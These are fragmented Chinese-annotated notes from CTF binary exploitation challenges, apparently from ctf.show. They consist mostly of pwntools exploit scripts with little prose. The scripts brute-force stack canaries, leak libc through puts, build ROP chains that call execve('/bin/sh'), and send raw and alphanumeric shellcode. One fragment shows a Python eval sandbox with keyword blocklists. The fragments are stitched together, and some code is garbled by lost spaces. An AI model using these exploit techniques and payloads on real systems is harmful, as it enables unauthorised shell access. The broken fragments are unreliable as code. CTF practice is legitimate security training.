defchall(): user_input = input("Give me your code: ")
# 过滤关键字 forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file'] for keyword in forbidden_keywords: if keyword in user_input: print(f"Forbidden keyword detected: {keyword}") return result = eval(user_input)
defchall(): user_input = input("Give me your code: ")
# 过滤关键字 forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file'] for keyword in forbidden_keywords: if keyword in user_input: print(f"Forbidden keyword detected: {keyword}") return # 过滤特殊字符 forbidden_chars = ['.', '_', '[', ']', "'", '"'] for char in forbidden_chars: if char in user_input: print(f"Forbidden character detected: {char}") return
from pwn import * import re import time context(arch='i386',os='linux',log_level='debug') #r = remote("pwn.challenge.ctf.show",28257) r = process('./pwn119') elf = ELF('./pwn119')
canary = b'\x00' backdoor = elf.sym['backdoor']
canary = b'\x00' for i inrange(3): for j inrange(0, 256): payload = b'a' * (0x70 - 0xC) + canary + p8(j) r.send(payload) time.sleep(0.3) res = r.recv() if ( b"stack smashing detected"notin res): print(f'the {i} is {hex(j)}') canary += p8(j) break assert(len(canary) == i+2) print(f'Canary : {hex(u32(canary))}')
r.sendlineafter("How much do you want to send this time?\n",str(0x1000)) sleep(1) r.send(payload) sleep(1) r.recvuntil("See you next time!\n") puts_addr = u64(r.recv(6).ljust(8,b'\x00')) print(hex(puts_addr)) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump("puts")
offset = 0x6C + 4 pop_eax = 0x080bb196# pop eax ; ret pop_edx_ecx_ebx = 0x0806eb90# pop edx ; pop ecx ; pop ebx ; ret bin_sh = next(elf.search(b"/bin/sh")) int_80h = 0x08049421# int 0x80
调用read： pop rax 0 ret #将要调用的函数（read）的系统调用号存入rax(特殊，系统调用号就是放在rax里的)中，这里是0 pop rdi 0 ret #read的第一个参数，表示标准读入 pop rsi bss_addr ret #第二个参数，存放读入的位置，这里是bss上的一个地址 pop rdx 0x10 ret #第三个参数，表示读入的长度，这里用0x10 syscall
1 2 3 4 5 6
调用execve("/bin/sh",NULL,NULL): pop rax 0x3b ret #execve的系统调用号，存入rax pop rdi bss_addr ret #将第一个参数/bin/sh,这里存在bss上，放入rdi中 pop rsi 0 ret #第二个参数 0也就是NULL pop rdx 0 ret #第三个参数 0也就是NULL syscall
from pwn import * from LibcSearcher import * #context(os='linux', arch='amd64', log_level='debug') r = remote("ip", port) #shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"# 22bytes shellcode= b"\x56\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5F\xB0\x3B\x99\x0F\x05" print("shellcode:",len(shellcode)) payload1=shellcode r.recvuntil("please input a small function (also after compile)") r.sendline(payload1)
from pwn import * from LibcSearcher import * context(os='linux', arch='amd64', log_level='debug') e=ELF('./pwn65') r = remote("域名",端口) shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" r.send(shellcode) r.interactive()
shellcode开头为\x00
用脚本找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
from pwn import * from itertools import * import re
for i inrange(1, 3): for j in product([p8(k) for k inrange(256)], repeat=i): payload = b"\x00" + b"".join(j) res = disasm(payload) if ( res != " ..." andnot re.search(r"\[\w*?\]", res) and".byte"notin res ): print(res) input()
exp模板
1 2 3 4 5 6 7 8 9 10 11 12 13
from pwn import * from LibcSearcher import * #context.log_level = 'debug' context(os='linux', arch='amd64', log_level='debug') #r = process('./') #elf=ELF('./') r = remote("域名",端口) shellcode = asm(shellcraft.sh()) r.recvuntil("")
可以看到我们可以利用这个判断爆破出canary,找到canary后利用栈溢出执行flag函数就可以了 python from pwn import * from LibcSearcher import * #context.log_level = 'debug' #context(os='linux', arch='i386', log_level='debug') canary=b'' for i in range(4): for j in range(0x1000): r=remote("pwn.challenge.ctf.show", 28145) flag=0x08048696 r.sendlineafter("How many bytes do you want to write to the buffer?\n>",'999') r.recv() payload1=b"I"*(0x20)+canary+p8(j)#+b"a"*16+p32(flag)#+p32(0)+p32(876)+p32(877)#+p32(system) r.send(payload1) a=r.recv() if b'Canary Value Incorrect!' not in a: #不输出这个字符串代表该字符匹配成功 canary+=p8(j) #将匹配字节加入到后面（canary j 的顺序） print(canary) break else: print("gg") r.close() r = remote("pwn.challenge.ctf.show",28145) flag=0x08048696 r.sendlineafter("How many bytes do you want to write to the buffer?\n>",'999') print(canary) payload1=b"I"*(0x20)+canary+b"a"*16+p32(flag) r.recvuntil("$") r.send(payload1) r.recv() r.interactive()
p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080bae06) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080bae06) # pop eax ; ret p += b'//sh' p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08054250) # xor eax, eax ; ret p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080ea060) # padding without overwrite ebx p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08054250) # xor eax, eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x080493e1) # int 0x80
我们可以用ROPgadget命令查找可以修改ebx,edx,ecx寄存器的gadget
化简1： p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080bae06) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080bae06) # pop eax ; ret p += b'//sh' p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret p += p32(0)+p32(0)+p32(0x080ea060) p += pack('<I', 0x080ea060) # padding without overwrite ebx p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08054250) # xor eax, eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x0807b27f) # inc eax ; ret p += pack('<I', 0x080493e1) # int 0x80
p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080bae06) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806e82a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080bae06) # pop eax ; ret p += b'//sh' p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret p += p32(0)+p32(0)+p32(0x080ea060) p += pack('<I', 0x080ea060) # padding without overwrite ebx p += pack('<I', 0x080bae06) # pop eax ; ret p += p32(0xb) p += pack('<I', 0x080493e1) # int 0x80
